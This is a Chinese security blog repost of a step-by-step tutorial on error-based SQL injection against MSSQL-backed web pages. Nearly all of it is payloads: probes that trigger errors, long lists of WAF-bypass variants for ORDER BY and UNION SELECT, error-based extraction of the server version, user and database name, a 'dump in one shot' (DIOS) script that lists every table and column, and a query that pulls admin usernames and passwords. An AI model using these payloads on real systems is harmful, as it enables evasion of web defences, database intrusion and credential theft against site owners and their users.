基于 MSSQL 错误的 SQL 注入

admin 2022年2月10日01:05:25评论66 views字数 12578阅读41分55秒阅读模式

http://ip/index.php?id=1

网站加载成功


http://ip/index.php?id=1'

出现错误信息:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near...


http://ip/index.php?id=1'

出现错误信息:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near...


http://ip/index.php?id=2-1

网站加载成功


http://ip/index.php?id=-1'

错误信息再次出现


http://ip/index.php?id=-1)'

错误信息再次出现


http://ip/index.php?id=1'-- -

网站可能加载成功,但也可能显示错误


http://ip/index.php?id=1'--

网站可能加载成功,但也可能显示错误


http://ip/index.php?id=1+--+

网站可能加载成功,但也可能显示错误


绕过 WAF 来检测漏洞


        在某些情况下,WAF 不会让您在网站上造成错误,因此可能需要发送特殊查询来绕过 WAF。


http://ip/index.php?id=1'--/**/-


        如果没有显示 WAF 警告并且网站加载,我们确认漏洞,否则尝试以下有效负载。


http//ip/index.php?id=/^.*1'--+-.*$/http//ip/index.php?id=/*!500001'--+-*/http//ip/index.php?id=1'--/**/-http//ip/index.php?id=1'--/*--*/-http//ip/index.php?id=1'--/*&a=*/-http//ip/index.php?id=1'--/*1337*/-http//ip/index.php?id=1'--/**_**/-http//ip/index.php?id=1'--%0A-http//ip/index.php?id=1'--%0b-http//ip/index.php?id=1'--%0d%0A-http//ip/index.php?id=1'--%23%0A-http//ip/index.php?id=1'--%23foo%0D%0A-http//ip/index.php?id=1'--%23foo*%2F*bar%0D%0A-http//ip/index.php?id=1'--#qa%0A#%0A-http//ip/index.php?id=/*!20000%0d%0a1'--+-*/http//ip/index.php?id=/*!blobblobblob%0d%0a1'--+-*/


使用“ORDER BY”查询查找列数


        现在我们对网站执行了 SQL 语法错误,我们可以开始 fuzzing 并使用 ORDER BY 查找我们有多少列


http://ip/index.php?id=1' order by 1-- -

此查询不能显示错误,因为没有小于 1 的数字


如果有效负载显示错误,请尝试设置负值:

http://ip/index.php?id=-1' order by 1-- -


此查询不能显示错误,因为没有小于 1 的数字


如果有效负载显示错误,请尝试删除可能导致 SQL 错误的引号: 

http://ip/index.php?id=605 order by 1-- -

http://ip/index.php?id=-605 order by 1-- -


这两个查询都不能显示错误。如果错误仍然发生,请尝试以下有效负载:


如果两个有效载荷都不起作用,则可能是 WAF 阻止了它。尝试以下块,直到您不会看到 WAF 检测或 SQL 语法错误。


http://ip/index.php?id=1' order by 1 desc-- -http://ip/index.php?id=1' group by 1-- -http://ip/index.php?id=1' group by 1-- -http://ip/index.php?id=1' /**/ORDER/**/BY/**/ 1-- -http://ip/index.php?id=-1' /*!order*/+/*!by*/ 1-- -http://ip/index.php?id=1' /*!ORDER BY*/ 1-- -http://ip/index.php?id=1'/*!50000ORDER*//**//*!50000BY*/ 1-- -http://ip/index.php?id=1' /*!12345ORDER*/+/*!BY*/ 1-- -http://ip/index.php?id=1' /*!50000ORDER BY*/ 1-- -http://ip/index.php?id=1' order/**_**/by 1-- -http://ip/index.php?id=1 order by 1-- -http://ip/index.php?id=1' order by 1 asc-- -http://ip/index.php?id=1' group by 1 asc-- -http://ip/index.php?id=1' AND 0 order by 1-- -


如果没有任何有效负载没有绕过 WAF,请按照以下 2 条规则再次尝试有效负载:


在 1 前添加减号 (-)(例如:?id=-1' /**/ORDER/**/BY/**/ 1-- -)

去掉参数值后面的引号(')(例如?id=1 /**/ORDER/**/BY/**/ 1-- -:)


        在这种情况下,有效负载?id=1 order by 1-- -工作并且网站加载成功。现在是时候找到正确的列数了。现在让我们使用有效的有效载荷,并尝试将数字增加 1,直到出现错误:


http://ip/index.php?id=1 order by 1-- -没有错误http://ip/index.php?id=1 order by 2-- - 没有错误http://ip/index.php?id=1 order by 3-- - 没有错误http://ip/index.php?id=1 order by 4-- - 没有错误http://ip/index.php?id=1 order by 5-- - 错误:Unknown column '5' in 'order clause'Unknown column '5' in 'order clause'

这意味着只有 4 列。现在我们必须找出这 4 列中的哪一列有信息。


使用“UNION SELECT”查询查找存储信息的易受攻击的列


        使用一个简单的查询,我们确定 4 列中的哪一列反映了我们使用的输入。这些有效载荷中只有 1 个将在没有语法错误的情况下运行。注意:如果没有工作,请尝试相同的有效负载,但删除数字 1 后的引号 (')。


http://ip/index.php?id=1' Union Select 1,2,3,4-- -http://ip/index.php?id=-1 Union Select 1,2,3,4-- -http://ip/index.php?id=-1' Union Select 1,2,3,4-- -http://ip/index.php?id=1'+UNION+ALL+SELECT+null,null,null,null--+-http://ip/index.php?id=1' Union Select null,2,3,4-- -http://ip/index.php?id=1' Union Select 1,null,3,4-- -http://ip/index.php?id=1' Union Select 1,2,null,4-- -http://ip/index.php?id=1' Union Select 1,2,3,null-- -http://ip/index.php?id=.1' Union Select 1,2,3,4-- -http://ip/index.php?id=-1' div 0' Union Select 1,2,3,4-- -http://ip/index.php?id=1' Union Select 1,2,3,4 desc-- -http://ip/index.php?id=1' AND 0 Union Select 1,2,3,4-- -


网站成功加载,我们会看到一个数字(在我们的例子中是 1-4)


如果查询不起作用,请尝试以下有效负载,直到看到数字:


http://ip/index.php?id=1+UNION+SELECT+1,2,3,4--+-http://ip/index.php?id=1+UNION+ALL+SELECT+1,2,3,4--+-http://ip/index.php?id=1+UNION+ALL+SELECT+1,2,3,4--+-http://ip/index.php?id=1+UNION+ALL+SELECT+null,null,null,null--+-http://ip/index.php?id=1 UNION(SELECT(1),(2),(3),(4))-- -http://ip/index.php?id=1 +Union Distinctrow Select+1,2,3,4-- -http://ip/index.php?id=1+UNION+ALL+SELECT+13371,13372,13373,13374--+-http://ip/index.php?id=1+UNION+ALL+SELECT+1%2c2%2c3%2c4--+-http://ip/index.php?id=1 Union Select CHAR(49),CHAR(50),CHAR(51),CHAR(52)-- -http://ip/index.php?id=1 %23%0AUnion%23aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%0ASelect%23%0A1,2,3,4-- -(缓冲 a * 300)http://ip/index.php?id=Union Select * from (select 1)a join(select 2)b join(select 3)c join(select 4)d-- -


- If the queries still doesn't show the vulnerable column number, it is probably the WAF blocking our queries. Let's try injection payloads which bypass it.   

http://ip/index.php?id=1 /*!50000%55nIoN*/ /*!50000%53eLeCt*/ 1,2,3,4-- - http://ip/index.php?id=1 %55nion(%53elect 1,2,3) 1,2,3,4-- - http://ip/index.php?id=1+union+distinctROW+select+1,2,3,4--+- http://ip/index.php?id=1+ #?uNiOn + #?sEleCt 1,2,3,4-- - http://ip/index.php?id=1 + #?1q %0AuNiOn all#qa%0A#%0AsEleCt 1,2,3,4-- - http://ip/index.php?id=1 /*!%55NiOn*/ /*!%53eLEct*/ 1,2,3,4-- - http://ip/index.php?id=1 +un/**/ion+se/**/lect 1,2,3,4-- - http://ip/index.php?id=1 +?UnI?On?+'SeL?ECT? 1,2,3,4-- - http://ip/index.php?id=1+(UnIoN)+(SelECT)+1,2,3,4--+- http://ip/index.php?id=1 +UnIoN/*&a=*/SeLeCT/*&a=*/ 1,2,3,4-- - http://ip/index.php?id=1 %55nion(%53elect 1,2,3,4)-- - http://ip/index.php?id=1 /**//*!12345UNION SELECT*//**/ 1,2,3,4-- - http://ip/index.php?id=1 /**//*!50000UNION SELECT*//**/ 1,2,3,4-- - http://ip/index.php?id=1 /**/UNION/**//*!50000SELECT*//**/ 1,2,3,4-- - http://ip/index.php?id=1 /*!50000UniON SeLeCt*/ 1,2,3,4-- - http://ip/index.php?id=1 union /*!50000%53elect*/ 1,2,3,4-- - http://ip/index.php?id=1 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4-- - http://ip/index.php?id=1 /*--*/union/*--*/select/*--*/ 1,2,3,4-- - http://ip/index.php?id=1 union (/*!/**/ SeleCT */ 1,2,3,4)-- - http://ip/index.php?id=1 /*!union*/+/*!select*/ 1,2,3,4-- - http://ip/index.php?id=1 /**/uNIon/**/sEleCt/**/ 1,2,3,4-- - http://ip/index.php?id=1 +%2F**/+Union/*!select*/ 1,2,3,4-- - http://ip/index.php?id=1 /**//*!union*//**//*!select*//**/ 1,2,3,4-- - http://ip/index.php?id=1 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4-- - http://ip/index.php?id=1 /**/union/*!50000select*//**/ 1,2,3,4-- - http://ip/index.php?id=1 0%a0union%a0select%09 1,2,3,4-- - http://ip/index.php?id=1 %0Aunion%0Aselect%0A 1,2,3,4-- - http://ip/index.php?id=1 uni<on all="" sel="">/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ 1,2,3,4-- - http://ip/index.php?id=1 %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/ 1,2,3,4-- - http://ip/index.php?id=1 /*!union*//*--*//*!all*//*--*//*!select*/ 1,2,3,4-- - http://ip/index.php?id=1 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C 1,2,3,4-- -http://ip/index.php?id=1 /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ 1,2,3,4-- - http://ip/index.php?id=1 +UnIoN/*&a=*/SeLeCT/*&a=*/ 1,2,3,4-- - http://ip/index.php?id=1 union+sel%0bect 1,2,3,4-- - http://ip/index.php?id=1 +#1q%0Aunion all#qa%0A#%0Aselect 1,2,3,4-- - http://ip/index.php?id=1 %23xyz%0AUnIOn%23xyz%0ASeLecT+ 1,2,3,4-- - http://ip/index.php?id=1 %23xyz%0A%55nIOn%23xyz%0A%53eLecT+ 1,2,3,4-- - http://ip/index.php?id=1 union(select(1),2,3)-- - http://ip/index.php?id=1 uNioN (/*!/**/ SeleCT */ 11) 1,2,3,4-- - http://ip/index.php?id=1 /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/ 1,2,3,4-- - http://ip/index.php?id=1 %0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/ 1,2,3,4-- - http://ip/index.php?id=1 +union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C 1,2,3,4-- - http://ip/index.php?id=1 /*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/ 1,2,3,4-- - http://ip/index.php?id=1 +UnIoN/*&a=*/SeLeCT/*&a=*/ 1,2,3,4-- - http://ip/index.php?id=1 +/*!UnIoN*/+/*!SeLeCt*/+ 1,2,3,4-- - http://ip/index.php?id=1 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4-- - http://ip/index.php?id=1 uni%20union%20/*!select*/%20 1,2,3,4-- - http://ip/index.php?id=1 union%23aa%0Aselect 1,2,3,4-- - http://ip/index.php?id=1/**/union/*!50000select*/ 1,2,3,4-- - http://ip/index.php?id=1 /^****union.*$/ /^****select.*$/ 1,2,3,4-- - http://ip/index.php?id=1 /*union*/union/*select*/select+ 1,2,3,4-- - http://ip/index.php?id=1 /*!50000UnION*//*!50000SeLeCt*/ 1,2,3,4-- - http://ip/index.php?id=1 %252f%252a*/union%252f%252a /select%252f%252a*/ 1,2,3,4-- - http://ip/index.php?id=1 AnD null UNiON SeLeCt 1,2,3,4;%00-- - http://ip/index.php?id=1 AnD null UNiON SeLeCt 1,2,3,4+--+- http://ip/index.php?id=1 And False Union Select 1,2,3,4+--+-


我们绕过WAF,发现第3列有信息。


转储数据库(布尔字符串)


http://ip/index.php?id=1'and 1=convert(int,@@version)--

http://ip/index.php?id=1'and 1=cast(@@version as int)-- -


两个有效负载都将返回相同的错误,并带有版本输出。


错误:


Error: Warning: mssql_query() message: COnversion failed when converting the nvarchar value "Microsoft SQL Server 2012 (SP1) - 110.0.3156.0 (X64) Copyright (c) Microsoft Corporation Standard Edition (64-bit) on Windows NT 6.2 X64 (Build 9200: ) (Hypervisor)" to data type int. (severity 16 in D:somethingwebSTD...id.php on line...


http://ip/index.php?id=1'and 1=convert(int,user_name())--

http://ip/index.php?id=1'and 1=cast(user_name as int)-- -


两个有效负载都将返回相同的错误,并带有版本输出。


错误:


Error: Warning: mssql_query() message: Conversion failed when converting the nvarchar value 'admin_user' to data type int. (severity 16) in D:somethingwebSTD...id.php on line...


http://ip/index.php?id=1'and 1=convert(int,@@SERVERNAME())--

http://ip/index.php?id=1'and 1=cast(@@SERVERNAME as int)-- -

两个有效负载都将返回相同的错误,并输出服务器名称。


错误:


Error: Warning: mssql_query() message: Conversion failed when converting the nvarchar value 'SERVER_NAME_HERE' to data type int. (severity 16) in D:somethingwebSTD...id.php on line...


http://ip/index.php?id=1'and 1=convert(int,db_name())--

http://ip/index.php?id=1'and 1=cast(db_name() as int)-- -

两个有效负载都将返回相同的错误,并输出数据库名称。


错误:


Error: Warning: mssql_query() message: Conversion failed when converting the nvarchar value 'store_database' to data type int. (severity 16) in D:somethingwebSTD...id.php on line...


转储数据库(基于 UNION 的查询)

        

        使用有效的联合查询,在这种情况下,我绕过了 WAF,发现第 3 列容易受到有效载荷的影响:


http://ip/index.php?id=1' /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ 1,2,3,4-- -


由于第 3 列,将数字3替换为以下有效负载以检索信息:


@@version  

db_name()  

user_name()



检索数据库版本:

http://ip/index.php?id=1' /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ 1,2,@@version,4-- -



检索数据库名称:

http://ip/index.php?id=1' /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ 1,2,db_name(),4-- -



检索数据库用户名:

http://ip/index.php?id=1' /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ 1,2,user_name(),4-- -



使用 DIOS 转储数据库


        DIOS(一次性转储)是一个精心设计的有效载荷,它将转储数据库()、表()和列(),并将其显示在网站上。


下面是 MSSQL DIOS 有效负载的列表:

;begin declare @x varchar(8000), @y int, @z varchar(50), @a varchar(100) declare @myTbl table (name varchar(8000) not null) SET @y=1 SET @x='injected by rummykhan :: '%2b@@version%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Database : '%2bdb_name()%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62) SET @z='' SET @a='' WHILE @y<=(SELECT COUNT(table_name) from INFORMATION_SCHEMA.TABLES) begin SET @a='' Select @z=table_name from INFORMATION_SCHEMA.TABLES where TABLE_NAME not in (select name from @myTbl) select @a=@a %2b column_name%2b' : ' from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=@z insert @myTbl values(@z) SET @x=@x %2b  CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Table: '%2b@z%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Columns : '%2b@a%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62) SET @y = @y%2b1 end select @x as output into Chall1 END--


如何使用 DIOS?


        这是 DIOS 将有效负载存储到环境变量中的特殊情况。我们将使用我们发现易受攻击的列的基于 UNION 的有效负载,在这种情况下我们使用:


http://ip/index.php?id=1' /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ 1,2,3,4-- -


从有效负载中删除每个数字和--,因此有效负载将如下所示:


http://ip/index.php?id=1' /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/


在有效负载的末尾添加 DIOS 有效负载:


http://ip/index.php?id=1 /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ ;begin declare @x varchar(8000), @y int, @z varchar(50), @a varchar(100) declare @myTbl table (name varchar(8000) not null) SET @y=1 SET @x='injected by rummykhan :: '%2b@@version%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Database : '%2bdb_name()%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62) SET @z='' SET @a='' WHILE @y<=(SELECT COUNT(table_name) from INFORMATION_SCHEMA.TABLES) begin SET @a='' Select @z=table_name from INFORMATION_SCHEMA.TABLES where TABLE_NAME not in (select name from @myTbl) select @a=@a %2b column_name%2b' : ' from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=@z insert @myTbl values(@z) SET @x=@x %2b  CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Table: '%2b@z%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Columns : '%2b@a%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62) SET @y = @y%2b1 end select @x as output into Kleiton0x00 END--


不会显示任何输出,因为它存储在环境变量中。我们可以使用以下 2 个有效负载之一访问它:


基于联合的查询:

http://ip/index.php?id=1' /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ 1,2,output,4-- -


基于布尔的查询:

http://ip/index.php?id=1' and 1=cast(select output from Kleiton0x00)-- -



查看错误消息/网站,显示检索到的信息。


基于 MSSQL 错误的 SQL 注入


在列内转储数据


        我们知道表和列是什么(来自 DIOS 或手动转储),但是更推荐使用 DIOS,因为它可以节省时间和精力。


这是我们将转储的整个数据库的一部分:


表名:AdminLogin

列:username,password


http://ip/index.php?id=1' and 1=(select username %2b ':' %2b password from AdminLogin for xml PATH("))-- -


基于 MSSQL 错误的 SQL 注入





基于 MySQL 错误的 SQL 注入

原文始发于微信公众号(Khan安全攻防实验室):基于 MSSQL 错误的 SQL 注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月10日01:05:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基于 MSSQL 错误的 SQL 注入https://cn-sec.com/archives/770112.html

发表评论

匿名网友 填写信息